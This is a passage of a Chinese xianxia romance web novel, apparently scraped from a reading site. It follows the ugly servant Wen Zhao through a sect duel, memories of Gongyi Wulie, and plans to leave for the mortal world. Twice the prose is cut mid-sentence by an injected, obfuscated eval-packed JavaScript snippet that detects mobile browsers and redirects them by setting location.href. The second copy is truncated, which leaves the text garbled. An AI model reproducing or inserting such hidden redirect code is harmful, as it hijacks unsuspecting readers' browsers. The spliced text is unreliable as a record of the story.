温昭从榆笙口中得知这件事时,正蹲在地上整理晒干的灵犀草。 他和榆笙劳作多日,终于将灵植园几亩灵犀草全部整理完毕。 温昭起身的时候,约莫因为久蹲一时气血不通,他的身体晃了一下。 榆笙立刻眼疾手快扶住了温昭,蹙眉:“身体还有不适?” 温昭摇了摇头,低声问:“他们的决斗定在哪一日。” 温昭想,等那二人决斗后,他的养老钱就该攒够了。 他不知道自己还能活多少年,如果能活一百岁,那还便能在凡界活十三年。如果只能活九十五岁,便能在凡界活八年。但不管多少年,只要他不大手大脚乱花钱,省着点花,应该可以让他安慰度过余下的日子。 榆笙:“十日后。听说百里雪孤痛失爱鹰后,心痛难当,要请禅宗的弟子来超度七日七夜,便只能将决斗推后。” 说罢,榆笙又道:“听说在雪鹰惨死后,大家还以为他们会当场打起来,把这场决斗提前。” “现场气氛也确实剑拔弩张,但公仪师兄说了一句话,便令百里雪孤没了动作。” “公仪师兄说,以你这趟来的目的,你的剑应该拔在我的剑前面。” 温昭听罢,胡乱点了点头,心想,十日的时间也不算太久,他可以等。 19. 遥想 九月的紫棘花一捧一捧地绽开,似一枝枝垂枝上拢了天边的金霞。 百里雪孤果然为枉死的爱鹰请来了一位禅宗的弟子。 针对他的做法,大家普遍都不看好,纷纷建议他去山脚下的镇上找几个做丧葬生意的凡人吹吹唢呐,性价比更高。 因着禅宗的弟子普遍修的是堪破贪嗔痴妄……修的就是一个通透,他们太通透了,且修为越高越通透,越令所有人避之不及,这在七大洲是出了名的。 但百里雪孤却认为未免有点危言耸听,坚持请来了禅宗的弟子。 百里雪孤请的这位禅宗弟子便是宗门内名气不小的高手,一张嘴十分通透,这让大家都很紧张。 果不其然,禅宗弟子到了后,三句话,就让百里雪孤和他打了起来。 所有人:“……” 禅宗弟子说的第一句话:“能送出去的东西自然便不是什么要紧东西,你伤心什么?我有几只白山鹰,和你这只雪鹰长得有几分像,你要买吗?买来送人也是可以的。” 所有人:“……” 禅宗弟子说的第二句话:“你能请到我,便和我算是有缘,不妨将一件事透露给你。多年前,我曾在风凌境中和一位美人有一面之缘,林美人和那位美人在容貌上不可相提并论。如今你的雪鹰死了,你不应该难过,你应该高兴,因雪鹰之死,反而得了机会,从我这里得到了一位美人的消息。” 所有人:“……” 禅宗弟子说的第三句话:“不过当年一面之后,我却并未在七大洲听说过那位美人的消息,若非红颜薄命了,便可能落到了某位强者手中。以你目前的修为,连公仪无冽杀了你的雪鹰都不敢杀回去,将来便是见到那位美人,也只能在一边看着。你如今最紧要之事,不是在这里惺惺作态,应尽快去想法提高你的修为。” 所有人:“……” 百里雪孤和禅宗的弟子打了起来,弄得大家都很激动,连忙丢下手中之事,跑过去围观。 也不知道最近是什么日子,一出接一出的热闹。 天空中法术弥漫,光华璀璨,大家看得非常高兴,开设赌局的师兄也趁热打铁连忙又开了第二个局。 但是这次却生意寡淡,并没有上次压公仪无冽和百里雪孤时的火热。因为大家没有数据做支撑,着实为难百里雪孤和这位禅宗弟子谁的修为更高,担心一个不小心就要赔本。 瞧着天上的二人打得难舍难分,大家只能瞧出传言中屡战屡败的百里雪孤也没那么废材,相反也是位强者,这导致大家立刻从激动便成了担忧。 因着大家普遍压的是公仪无冽胜,这冷不丁看见百里雪孤修为竟然这么高,心中不禁开始忧虑。 虽说他们十分相信公仪无冽的实力,但万一那天他不宜出门,突然脚滑了,腰闪了,从而导致输了呢? 有人实在难以派遣这种忧虑,便另起了话题,讨论起了禅宗弟子的话。 “比林悠师兄还美的美人?瞎说吧,怎么可能。” “听他的意思,那位美人竟是比林悠师兄还要美出不知多少,这真的可能吗?七大洲选出的第一美人,林悠师兄可是公认的自古以来最为貌美的一个了。因实在容貌长得太好,才能稳坐魁首这么多年。” “若真有那样的美人,怎么可能七大洲没有一点风声。” “我也不相信,但不是禅宗的弟子从不打妄语吗?他也没必要瞎说。” “禅宗弟子着实不打妄语,他们一向嘴毒是毒,但不会胡说八道。” “未必真有那么一个美人?我还是觉得不可置信。林悠师兄如此貌美了,真有比林悠师兄还美的美人,那该长成什么模样?” “没有风声,会不会是如那禅宗弟子说的美人早已红颜薄命了?” 这时忽然有个穿着蓝衣的弟子插话道:“听这禅宗弟子一说,我倒是想起一桩往事。不知道你们有没有听说过关于大国的一桩往事?大国有不世出的隐士这是七大洲都知道的事,大国隐士从不轻易在人前显露。听说大国国主要请动这些隐士,都要付出不小的代价。” “但六十八年前,几百年没有隐士现身的大国,国主忽然下了一道追杀令,一道极其罕见的追杀令。” 有人想起了什么,跟着接话道:“我也听说过,十七万里的追杀令!这在大国历史上,都是唯二的追杀令,第一次还是大国被十大强者联手攻打时,才下过这种恐怖的追杀令。” “说是当年第二道追杀令一出,七大洲吃惊了,纷纷以为大国出事了,但后来打听来打听去,始终打听不到究竟出了何事。还是多年后,才从一个大国王宫侍仆的嘴里,得到了含糊的只言片语。” 白衣弟子看着天上禅宗弟子和百里雪孤的交手,漫天法术光辉映在他有点茫然的脸上,他接上话道:“传言里,那侍仆说六十八年前,大国国主下的十七万里追杀令,外人都以为事关大国国体安危,但没人知道,实则是为了一个美人。我听了这件事后,便一直在想,能让大国国主出动隐士都要得到的美人,该长如何倾国的模样?” “难不成你是想说,这禅宗弟子口中的美人可能就是当年那个让大国国主下十七万里追杀令的美人?” “不知道。这桩往事的真相到底如何,除了从大国王宫深处流传出的寥寥数语,谁也不知道真假。”白衣弟子摇了摇头,又道,“我只是后来又听说过一桩秘幸。” “林悠师兄成为七大洲第一美人后,曾有人根据林悠师兄去过的地方,推断出那位令大国国主下追杀令的美人有可能就是林悠师兄。” 众弟子一听,有人便道:“若是林悠师兄,倒着实也有可能。” 白衣弟子不慌不忙,继续道:“听说在某一年大国的祭天仙游节上,有尊者喝醉了曾拿这件事去问大国国主,提起了林悠师兄。” 众弟子听得入神了,连忙追问道:“还有这种事?那大国国主怎么说的?” 这时,天空中的百里雪孤出剑的速度忽然慢上了不少,看那模样竟是在听下方白衣弟子的话。 禅宗弟子看得百里雪孤的模样,不由得嘴角抽搐。 白衣弟子道:“传言大国国主听后,神色竟是前所未有地带着一丝神伤,定定望着某个方向,像是在思念什么人,半晌后,才面色冷淡地对那位尊者道,是个美人,但不值得我为他出剑,更不值得我出动隐士。” 周遭寂静了。 天空上,百里雪孤的剑停了。 白衣弟子说完后,神色好一阵恍惚,似是在遥想当年真有那么一位美人,竟令大国国主那般修为高深的强者也无法免俗,不惜出动隐士也要得到。 白衣弟子遥想了一会儿,当他不经意看向某个方向,忽然面色凝滞,他在人群中看见了林悠和公仪无冽。 白衣弟子:“……” 林悠神色冷淡看了白衣弟子一眼,转身走了。 在他身边的公仪无冽却没有跟着离开,他的面色似幽潭凝了无边细雪,似是定定空了一会儿,有一丝辩不明的情绪在眼中,良久,他忽然抬眸,对上了天空中百里雪孤的眼神。 二人对视了一会儿,百里雪孤收剑,从空中落下。 百里雪孤无视公仪无冽,走到了白衣弟子面前,目光定定看着他。 白衣弟子:“……” 所有人:“……” 百里雪孤伸手,抓走了白衣弟子。 白衣弟子:“……” 所有人:“……” 禅宗弟子也从天上落下,面貌清尘,一身白袍,眉心一颗朱砂痣,手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14375598|153143||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 腕戴着几串檀木做成的木珠。若是不张嘴,完全就是一位出尘脱俗的世外仙人模样。 禅宗弟子走到了公仪无冽面前。 公仪无冽幽深的双眸,也落在了禅宗弟子身上。 禅宗弟子忽然轻笑一声,他没有张嘴,却有一道声音传进了公仪无冽的识海中。 禅宗弟子:“听说你即将和七大洲第一美人林悠结为道侣了?” 禅宗弟子脸上在笑,眼中却没有笑意:“不知当年那位美人可还活着?” 公仪无冽面色冷淡,良久,冷冷道:“禅宗的闭口禅,看来道友是修得还不够好。我不介意助你一程。” 禅宗弟子:“……” 禅宗弟子正了脸色:“如果他没出事,这几十年怎么从没听过他的消息?” “莫非六十八年前大国那桩往事的传言非假,大国国主当真出动隐士留下了一位美人。那位美人就是他。而你打不过大国隐士,丢下他一个人逃了?” 日光似落了月色照在公仪无冽身上,他不再回话,漠然看了禅宗弟子一眼,玄青衣袍凛冽,转眼消失在了几簇迷踪花后。 禅宗弟子:“……” 百里雪孤和禅宗弟子打起来时,温昭正和榆笙坐在李管事的院子里,心情都十分沉重。 李管事家里那位在创业失败后打算再次创业,这一次要创的业,是卖臭兽腐。 温昭和榆笙再次为了钱试吃,成了第一位受害者。 想起前几次对方创业卖的茶兽蛋,手抓兽肉饼,兽肉小丸子,烤兽筋,兽大肠,炸兽排,煎兽皮……无不结果惨烈,甚至还被人举报到了宗主面前,说他想要谋财害命。 二人看着面前的臭兽腐神色十分严肃,心中颇为痛苦。这份痛苦在看到对方接着拿出烤兽麻糖,山椒兽皮时,变得越发痛苦。 钱难挣。 他们实在想不到为什么有人能做出口味这么丧心病狂的东西,且在接连失败后,还能屡败屡战,不肯放弃。 原本李管事已经在无法忍受后,把对方送到山下疏品楼,花钱拜了那位大厨为师。 谁知才把人送过去,次日疏品楼就关门停业,大厨卷钱跑路了。 温昭:“……” 榆笙:“……” 李管事:“……” 据说那位大厨声称他不会在一个地方埋没他的才华,他要开流动酒楼,把他的美食卖遍七大洲。 院子里,几簇火金花开得灿灿,温昭和榆笙望着桌上的臭兽腐神色非常严肃,良久,二人严肃着吃下了一个臭兽腐。 吃了后,温昭和榆笙心情都变得极其痛苦,不知道对方是不是受了被骗钱的刺激,这次的东西做得更加丧心病狂了。 二人吃着臭兽腐,沉默了片刻,温昭看向了榆笙,榆笙也看向了温昭。 接着,温昭碗一放,往地上一趟。榆笙扑过来,哭着用衣摆盖上了他的脸。 李管事:“……” 李管事家里那位:“……” 榆笙哭了一会儿,接着抹干眼泪,扶起地上的温昭。二人看向李管事和李管事家里那位:“味道就是这个味道,要办丧事的味道。” 李管事:“……” 李管事家里那位:“……” 李管事家里那位沉默,沉默着走向了屋中。高大身姿忽然在门口处一踉跄,差点摔在了门槛上。 片刻后,屋中传来了嚎啕大哭声。 温昭:“……” 榆笙:“……” 李管事:“……” 从李管事手中拿到了试吃费后,温昭单独找到了李管事谈话。 李管事听了温昭的话,房中倏然一片寂静。 沉默半晌后,李管事眉心紧皱:“你要离开天泽宗?” 20. 温昭看着蹙眉的…… 温昭看着蹙眉的李管事,心中一股难过涌上心头。 他在这个世界,没有家,没有亲人,什么都没有,如今唯一对他好的人就是李管事和榆笙了。 温昭一想到要离开他们,就非常不舍,非常难过。 可终究是他自己不争气,才导致了如今的局面。若是他能洒脱点,能洒脱地放下,他或许不用离开天泽宗,他还能大方地祝福公仪无冽和林悠,祝他们举案齐眉,祝他们白头到老。 温昭忍着难过,对着李管事点了点头:“我想回家去看看了。” 李管事看着温昭,显然也非常不舍:“你考虑清楚了?” 温昭敛下眼睫,低声道:“嗯,考虑清楚了。” 李管事听了温昭的话,沉默了很久,叹息一声:“虽然天泽宗的杂役大多数最后都回到了凡界,小昭,可是我还是不想你就这么轻易放弃了。” 温昭:“我的资质您也看到了。” 李管事看着温昭却是摇头道:“一时的资质也代表不了什么,有人快死时都能捡到续命丹,不到最后一刻,谁能预知命运。” “当初我把你收下时,说我看好你,这话到了今天,我还是看法不变,你或许有大帝之姿。” 温昭:“……” 温昭没想到李管事竟然这么看好自己,他有点感动了,不耻下问道:“除了丑,你还有哪方面觉得我有大帝之姿呢?” 李管事神色严肃:“就凭你六十八年来,坚持吃他的东西,我就觉得你将来注定不是寻常人。” 温昭:“……” 李管事瞧着温昭的脸色,没忍住笑了,他道:“也有六十几年了,想回家看看也好,看了想要回来天泽宗,我还可以收下你。” 温昭心中一阵发酸,点了点头。 温昭拿出了孟十柳给他的护身符,想请李管事帮他弄一个法器。 李管事没有收下护身符:“这些年你只拿了三分之一的月钱,法器就当我送给你了。” 可是温昭却知道,质量好一点的法器,就是他领满了每个月的月钱,用六十八年的月钱也是买不起的。 温昭心中非常感动,也非常难过,他们对他这样好,可他就要离开唯二对他好的人了。 李管事:“你要什么法器,护身的法器吗?护身的法器,我这里倒是有不少。” “不是。”温昭低声道,“我想要一个让我看起来没那么丑的法器,这个可以吗?” 李管事:“……” 温昭想,公仪无冽送给他的这个法器确实很厉害,但他戴着这个法器总归有点扎眼。 温昭听榆笙说过不少凡界的事,凡界也没那么太平,他很有可能光是走在路上就被某位皇亲贵族嫌弃丑了眼睛,从而倒霉地被抓去砍头,哪怕侥幸不被砍头,可能也会被赶出城去。 还是低调点好。 从李管事院子中出来,温昭和榆笙便听说了百里雪孤和禅宗弟子打起来的事。 为了遗忘臭兽腐丧心病狂的味道,二人回到院子里连忙吃起了在镇上买的鸭脖,一人五个,十分奢侈。 榆笙啃着鸭脖,吃惊道:“你说会有这样一个人吗?” 温昭啃着鸭脖,面不改色道:“不知道。” 榆笙:“我觉得可能还真有。” 温昭好奇了,问:“为什么?” 榆笙道:“你看长成你这样的都有,为什么就不能有比林悠师兄更好看的美人呢?” 这场对话,最终以温昭抢了榆笙剩下的四个鸭脖并吃光作为结束。 经百里雪孤和禅宗弟子打架一事,如今宗里都在讨论禅宗弟子口中那位美人,此事在天泽宗传得沸沸扬扬。 有弟子不禁开始忧虑,忧虑百里雪孤在听了那位美人的传说后,是否还会和公仪无冽决斗。 大家认为这完全杞人忧天,比起不知真假的一桩往事,不知是否真有其人的一个美人,林悠可是活生生能看得见的七大洲第一美人,只要是个脑子没问题的人都会选择林悠。 就在众人信心十足时,谁知却传出来了风声,说是百里雪孤要放弃和公仪无冽的决斗。 温昭:“……” 所有人:“……” 可见再次验证了逻辑只有对正常人才有用。 这消息对公仪无冽来说,也不知是高兴还是不高兴。 情敌没了,按理来说,他是应当高兴的,但情敌选择放手的原因,却是因为有了新的更高的目标,要去追求比他道侣更美的美人,这着实又很难让人高兴起来。 不过无论公仪无冽高兴与否,这个消息对天泽宗其他人来说却是万万高兴不起来的。 大家连忙找到开设赌局的师兄询问,若是百里雪孤主动弃权,是否可以算是公仪无冽不战而胜,他们也跟着不战而胜。 师兄爽快回答,算公仪无冽不战而胜,算他们不战而败。 所有人:“……” 温昭听到这个消息时,不禁腿发软,颤抖地扶住了墙。 那可是他存了六十八年的月钱,那可是他三分之二的积蓄。 温昭愤怒了。 大家也愤怒了,愤怒地找上了百里雪孤,苦口婆心动之以情晓之以理,让他不要为了传说中的美人放弃眼前活生生的美人,这非常不明智,小心竹篮打水一场空。 百里雪孤:“空多了,已经习惯了。” 所有人:“……” 百里雪孤的放弃来得令人猝不及防。 大家怒不可遏,且普遍认为他们不能因为百里雪孤的轻言放弃,就跟着轻言放弃。 于是大家愤怒地找上了宗主,强烈要求宗主向雪国的国主投诉百里雪孤,投诉百里雪孤出尔反尔的行为严重有损雪国修士的形象。 好在经过愤怒地投诉之后,雪国国主的圣旨以八万里加急的速度送到了百里雪孤的手上。 最终百里雪孤迫于雪国国主的压力,不得不同意把他和公仪无冽的决斗进行到底。 所有人不禁松了口气,温昭也狠狠松了口气。 害怕夜长梦多,百里雪孤又出幺蛾子,大家又连忙找到了宗主,强烈要求将这场决斗提前。 于是在百里雪孤到达天泽宗的第五日,他和公仪无冽的决斗终于来临。 比试的场地就定在弟子们平日里修行的比武场上,烈日下,大片大片开得灿烂的雪悬花贴着草丛飞舞。然而,在比武场上比雪悬花还要堆砌得层层叠叠的是为了抢最佳观赏位置大打出手的各路修士。 早在听说公仪无冽要和百里雪孤决斗时,七大洲各路修士就马不停蹄赶来了天泽宗看热闹,此刻满满当当挤满了比武场。 由于来的人实在太多,温昭和榆笙都只能在人群外,远远地看上几眼。 从温昭的距离看过去,只能遥遥看见台子上立着一道一抹模糊的玄色身影,看不真切。 温昭看着这道身影,耳边传来了七嘴八舌的议论声。 “终究是英雄难过美人关,未曾想到竟然连公仪无冽这样的高手也是如此。” “也不怪公仪无冽如此,那林悠作为七大洲第一美人,着实生了世间难寻的容貌,爱慕者何其之多。” “此番听说二人即将结为道侣,不知道多少人为美人心碎。要不是公仪无冽天资实在出众,又有天泽宗撑腰,怕是早被人抢婚了。” 随着众人的议论纷纷,天空中生出一道道剑光,天地开始变色。 这一刻,所有人都停下了议论,抬头看向天空。 人群之外,温昭也抬头看着金光浮跃的天空,云层中,有人影若隐若现,那是公仪无冽和百里雪孤。 两大高手的对决,让现场气氛如沸腾的滚水,来自修行者之间的惊叹声不绝。 他们开始讨论二人的剑有多快有多强,这样高深的修为,在年轻一辈中,那密宗的天才可否与之一战?佛宗的佛子呢?悬梅门主的弟子呢?长阳宗的痴剑人呢? 只见在修士们的惊叹中,来自天空的光线越来越明亮,越来越强烈,周遭众人的惊叹声也随之越来越大。 然而温昭未曾想到,公仪无冽和百里雪孤的这场决斗,持续了很长时间,他们一直打,一直打……小半天过去了,还在打,还没有分出胜负。 温昭想,约莫百里雪孤的修为真的很高。上次公仪无冽削白慕绥一剑就完事了,可这次却久久没有完事。 或许是等得太无聊了,或许是要离开了,这一刻,和他的回忆不可抑制地涌上心头。 未曾想六十八年过去了,那些事却如在昨日,记忆犹新,真是令人莫可奈何。 是在不能动用灵力的秘境中,前方有看不到尽头的万里焦土,上面雷火星星点点闪烁,灼烫窒息的气息铺天盖地而来,他背着自己,一步步走过这万里焦土。水囊中的水只剩下最后一口了,他却骗着自己喝下。 是紫棠花开,花谢,春色在一池凉雨中败去,仲夏夜的夏虫嘶鸣,融融泄泄的冰壶秋月,他玄色衣袍拂过案头,执着笔墨写下一个个寒木春华的字,抬眼看向心虚的自己,似笑非笑道:“嗯,这几个字确实还未教过。” 是他掉进一方密道里,毫无出路,满地全是森森白骨。 十天了,他吃光了身上所有能吃的,他快撑不下去了。 温昭几乎把这个地方能摸到的地方摸遍了,可是也没摸到任何机关。 温昭强撑着站起身,想要再去摸索出路,可是十日没怎么吃过东西,身上所有力气都流失,他晃了晃,朝着一堆白骨倒了过去。 温昭想象自己死在一堆白骨中的模样,倘若有一天公仪无冽还能找到自己,还能来找自己,大概也认不出那一具是他的白骨了,只得做个好事将一地白骨全都烧了。 温昭闭上了眼睛。 在温昭以为自己也会变成这堆白骨中的一份子时,蓦然被揽住了腰,被揽向一个怀中,他撞上了一个宽厚冰冷的胸膛。 他靠在对方的胸膛上,听着对方急促的呼吸声,鼻尖嗅着熟悉的冷梅香,他终于安心地倒在他的怀中,颤抖地伸出无力的手抓着他的胳膊:“我以为你找不到这里了,以为你不会来了。” 身体被他全部搂在怀中,紧紧地搂着,他的嗓音贴着他的耳边响起:“我若是不来,灵舟上买的那些吃的该怎么办?” 他将他打横抱起,走在这昏暗的密道中。 温昭将头死死埋在他的胸口,浑身都在颤抖。 他叹息一声,更紧地抱着他,又轻轻笑道:“早知道买了糕点也该买些大饼,拿根绳子串起来,让你戴在脖子上。” 温昭:“……” …… 温昭抬头看着头顶法术的光华璀璨,胸腔的位置忽然刀刺似的闷痛。 如果一点都不喜欢自己,那又为什么要对自己这么好,让他自作多情。 在秘境中,他明明不用背自己,给他一捆木棍就行了。他背着一捆木棍,一路走,一路往脚下不停换着木棍踩,就算走得慢了点,也是能走的。 他明明不用教自己识字,他认不认识字和他有什么关系,被嘲笑不识字的人又不会是他。 那个密道他破解了十天十夜,差一点就要永远被留在那个地宫中了,他完全可以丢下自己离开,可是他还是找来了。 榆笙的声音忽然在耳边响起,吃惊道:“你哭什么?” 温昭:“……” 温昭恶狠狠抹了一把脸,说:“因为光线太刺眼了。” 榆笙狐疑地道:“是吗?” “是的,我年老体衰了后,眼睛也很脆弱。”温昭心中悲愤地吐着血,连忙转移话题,随口道,“怎么还没打完啊。” 谁知这话一出,立刻收获了一大群愤怒地视线。 “这是天泽宗那个丑杂役?” “只有练气初期修为,你个杂役懂什么!” “难得可以看到两大强者对决,不好好从中领悟从而提升自己,竟然还有人这么不知好歹!” 大家很是愤怒地看着温昭。 温昭:“……” 温昭抽着嘴角,可怜地捂着胸口,往榆笙身后躲去。 榆笙抽着嘴角,连忙道歉道:“他年纪大了,脑子不好,各位真人息怒息怒。” 温昭:“……” 又一个时辰过去了,两人还在打。 温昭累了,万万没想到这一次会打这么久,只恨来的时候没带根板凳。 他没忍住,坐在了地上,立刻又被那群人瞪了。 温昭:“……” 榆笙连忙道:“真的年纪大了,八十七了,腿脚不便,真人们别和他一般见识。” 温昭:“……” 温昭一脸木然地坐在地上。 又过了一会儿,榆笙也忍不住挨着温昭坐在了地上。 榆笙对着温昭咬耳朵,小声道:“百里雪孤修为竟然这么高吗?怎么这次打了这么久?” 温昭也小声回道:“可能很高吧。” 二人说得再小声,却也瞒不过在场修士的耳目。 当即有修士道:“你们懂什么!这和修为无关,公仪无冽既然接下了这场比试,这场比 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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有太多想和他一起去做的事了,然而所有对于未来的憧憬,随着林悠的出现终究都飞灰湮灭。 温昭知道在他身边自己其实一直是个累赘,就算自己再不想承认,这也是不争的事实。 他连想去东洲吃一次咕咚锅,都不能自己一个人去。在这个地方,离开他,他似乎哪里都去不了。 想来,他不喜欢自己,真是一件再正常不过的事,没有人会喜欢一个累赘。跟在他身边时,他只会给他带来麻烦,他不会法术,甚至连一点钱也没有,吃的用的穿的住的都要依靠他。 实在太累赘了,累赘到就算是换到其他凡人身上都难以忍受他这种拖累吧,更何况是这些被上天眷顾向来高傲的修士,更何况是在修士中都是天之骄子的他。 所以他才会在天泽宗大选时,被毫不留情地抛弃了吧。 温昭何尝不知,对方没有义务必须要带上自己,他已经救过了自己很多次。他只是以为公仪无冽哪怕不喜欢自己,哪怕二人不能在一起,相处了一年的时间却也不是假的,可是最终他离开时,却连一句道别的话都没有,连一个字也没留下。 他只是想要一句告别。 他说,温昭,修真界危机四伏,你以后要好好照顾自己。 他说,温昭,好好活下去。 如果当初他这样说了,是不是自己可能就放下了,再喜欢也会学着放下了。 榆笙:“你怎么又哭了?” 温昭:“……” 温昭恶狠狠道:“打得太久了。” 立刻又被一群人怒目而视了。 温昭也怒目了,怒目着退到了榆笙身后,让榆笙接受大家的怒目。 榆笙:“……” 或许事实真相就如那位修士所说,因着要将这场比试传为一段佳话,所以这场比试迟迟没有分出胜负。 公仪无冽和百里雪孤打了整整一天还在打,打得温昭和榆笙回院子里吃了午饭,吃了晚饭,还没打完。最终打得二人非常愤怒,为了今晚睡哪里为难不已。 榆笙认为九月的天夜晚也不是很凉,他们回去多穿一点衣服,在草地上睡一晚也不是大事。但是考虑到温昭年纪大了,可能会吃不消。 于是榆笙提议,二人可以轮换着来守夜。 前半夜时,由榆笙在这里守着,温昭回院子里去睡觉。后半夜时,温昭睡醒后,来替换榆笙,榆笙再回院子里去睡觉。等到了明日清晨,榆笙睡醒后,把早饭做好,再来接温昭回去吃饭睡觉。 听着二人对话的所有修士:“……” 然而在温昭和榆笙做好了规划后,谁知这时天空中过于璀璨的光线终于渐渐黯淡,渐渐消失,然后风声停了,一切都归于平静。 公仪无冽和百里雪孤终于打完了。 公仪无冽胜出。 没有意外的结局。 此刻头顶夜空如海,星河闪烁,满山的雪悬花蓦然开出幽蓝色调,衬着星月凉色,似棋布的蓝色繁星点点。 所有人都注视着台上的公仪无冽,然而他离他们太远了,太远了,欣长身影映在众人眼中是那么的遥远而高峻,这一刻,似是连漫天的溶溶月色都被他挡在了身后。 人群之外,温昭看着公仪无冽遥远而朦胧模糊的身影,心想,这应该是他们此生最后一次见面了,在这样一副仲秋夜的幽蓝冷白秋景图里。 修行者的一生会很长很长,有千岁,有万岁,有那样漫长到凡人根本无法想象的生命,也有凡人想象不到的璀璨精彩。 而他只剩下最多十几年几年的光阴了,短得一眼可以望到头,但是没关系,他会把这剩下的时间,好好过好的。 眼中蓦然有热意流淌,在更加模糊的视野中,台子上的公仪无冽身影动了,他走下了比武台,走向了正中间的那处观赏的高台。 而在那数百阶玉白长阶的高台上,坐着天泽宗的各个长老,坐着禅宗弟子,坐着林悠。 他走向的地方,高台之上,坐着他的心上人,坐着他即将要迎娶的道侣。 夜风幽静,公仪无冽的身影在温昭的眼中越来越遥远,越来越模糊,直至快要隐没在月色下这副极其好看的秋景图中。 胸腔有疼痛一寸寸漫过全身,温昭视野模糊着最后看了一眼公仪无冽的背影,在心中轻轻道。 再见了,公仪无冽。 以后在没有你的地方,我会生活的好好的,我会照顾好自己,也会开始忘了你。 漫天星空下,温昭转过了身。 六十九年前,他在最好的年岁时遇见他,满心都是他和他的未来。 六十九年后,一场大梦醒来,他不复年少,只想着此生再不相见。 21. 离开 在公仪无冽和百里雪孤的决斗落下帷幕后,百里雪孤当晚便离开了天泽宗,相传是连夜赶去了大国的都城。 适逢大国的祭天仙游节便是这几日,相传百里雪孤听闻后,这次没有乘坐灵舟,直接御剑飞行大国国都。 但据眼见着他御剑的人透露给大家,他分明看到了百里雪孤朝着大国反方向的青国飞了过去。 温昭:“……” 榆笙:“……” 次日清晨,一则消息传来。 说是在南洲的一处秘境中,出现了一株珍稀的天材地宝,七大洲的修士都闻声而动,朝着秘境赶了过去。 天泽宗的人也不例外,由公仪无冽为首,带人赶去了秘境。 在南洲秘境中出现的那株地宝,是一株可温养修补灵根的珍稀地宝。 榆笙告诉温昭,听说林悠多年前在一处秘境中试炼时灵根受损过,于是公仪无冽此去必定是为林悠夺得这一宝物。 那一日,无数剑光从天泽宗的上方朝着南洲南行而去,飘然隐入云层里,倏然便不见了踪迹。 温昭抬头看着天上消失的剑光,轻声将自己要离开的消息告诉了榆笙。 榆笙得知温昭即将离开天泽宗,仿若一场重病来袭,当日便病得卧床不起。 温昭看得颇为忧虑,万分感动道,如果实在不放心他,可以等他到了凡界后,每个月给他打点养老费。他在凡界吃得好睡得好,也就不叫他们担心了。 谁知他这话一说,榆笙立刻便病去如山倒,立马下床活蹦乱跳,牙口好,胃口好,晚上睡得更好,完全不见先前病重的半点模样。 温昭:“……” 这叫温昭难免扼腕长叹,忍不住半夜辗转难眠时,将这几日非要睡在他屋中的榆笙瞪了又瞪。 终究媚眼抛给了瞎子,熬了两个夜之后,温昭受不了了,不得不放弃了从榆笙身上讹诈养老钱的打算。 要去凡界,自然需要准备一番。 最重要的便是灵船的船票,没有船票,便坐不了灵船,过不了界海,也回不了凡界。 好在售卖船票的店铺镇上便有,温昭和榆笙赶过去时,正赶上店家打折,一张船票竟然只要平日里的五折,这不由得让二人非常激动。 温昭激动地连忙买下了一张打折船票,生怕老板下一刻就涨价。 在温昭成功买下船票,和榆笙拿着船票激动地出了店铺的大门,刚走了几步远,却倏然听得身后老板爽朗的大笑声传来:“为什么这么便宜?哈哈哈,还不是最近这段日子界海里的海兽闹的,翻了三艘船了,我两个月没卖出去一张票了,今儿个总算卖出去了一张哈哈哈哈。” 温昭:“……” 榆笙:“……” 温昭僵硬着低头,看着手里的打折船票。 良久后,温昭颤抖地捂住了胸口。 榆笙连忙扶住了颤抖的温昭。 榆笙扶着颤抖的温昭,重新回到店铺中,二人都愤怒地看着老板,强烈要求退票。 老板:“……” 老板在二人的愤怒之下,忙把最近界海的事说给了二人听。 好在消息不算太坏,听说在翻了三艘船后,终于激怒了各仙门的尊者,已经派人将那头在界海里兴风作浪的海兽砍成了飞灰。 是以老板告诉温昭对于这张船票不用太过忧心。 但温昭和榆笙听了这番话后还是很愤怒,于是在一番讨价还价后,把船票压到了四折,二人这才终于高高兴兴出了店铺。 温昭和榆笙在镇上买了船票后,又买了不少食物和生活用的东西放在储物戒里。 二人在镇上时,听得大家都在津津乐道讨论公仪无冽和百里雪孤那场决斗。 比起修士们关心的问题来,大家则是纷纷遗憾二人比试的地点为何不能在镇上,如此他们就能把卖不出的货物清空了,上次没能翻修的房屋也翻修了。 说着众人便感叹起,隔壁老赵上次得了公仪无冽赔的钱,媳妇都换了一个。 弄得隔壁老钱,天天盼着公仪无冽出剑,好教他换个老爹。 温昭:“……” 榆笙:“……” 虽然在天泽宗呆了六十八年,但一番收拾下来,温昭的东西并不多,很快便收拾妥当。 天泽宗的杂役离开时,大家普遍都会办告别宴,但温昭考虑了一下他不想离开得大张旗鼓,便让榆笙在他走后,代他请大家吃点东西,算作告别。 由于温昭让李管事帮他弄的法器还需要几日时间才能拿到,是以温昭又在天泽宗呆了几日。 而这时,在白慕绥被天泽宗扣押近一月时间,纯洁尊者终于从凡界某小国云游回来了,一路朝着天泽宗赶来,若是没有意外,很快便会到达天泽宗。 榆笙告诉温昭,纯洁尊者即将到达天泽宗一事,令大家都很激动。虽说七大洲无人不知纯洁尊者的赫赫大名,但细算起来,见过他的人却不算太多。总归名声再奇葩,也是一介尊者,身份地位摆在这里,并不是街上的大白菜,人人想见就见。 是以天泽宗没有见过纯洁尊者的人很多,弄得大家都很激动,摩拳擦掌打算好好瞻仰一下这位纯洁的尊者。 然而在纯洁尊者即将登门的前夕,宗主却下令宗门内大大小小老老少少长得五官端正的所有人,全都不准出现在纯洁尊者面前。 宗主给出的理由是,纯洁尊者登门过的各大仙门,必定会出一个他的孩子来,天泽宗绝不能出现他的孩子。 所有人:“……” 